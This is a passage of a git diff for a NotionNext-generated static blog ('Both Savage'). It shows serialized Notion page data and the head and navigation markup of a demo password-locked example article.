Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-10"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/example-2.html b/article/example-2.html
index 14ac1cd8e..d8f0a0f0c 100644
--- a/article/example-2.html
+++ b/article/example-2.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>加锁文章2 - 密码123456 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="开发,工具"/><meta name="description" content="本文需要输入密码才可访问,密码: 123456"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="加锁文章2 - 密码123456 | Both Savage"/><meta property="og:description" content="本文需要输入密码才可访问,密码: 123456"/><meta property="og:url" content="https://bothsavage.github.io//article/example-2"/><meta property="og:image" content="https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=041a3743-f888-4476-b947-fff856745c02&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="本文需要输入密码才可访问,密码: 123456"/><meta name="twitter:title" content="加锁文章2 - 密码123456 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 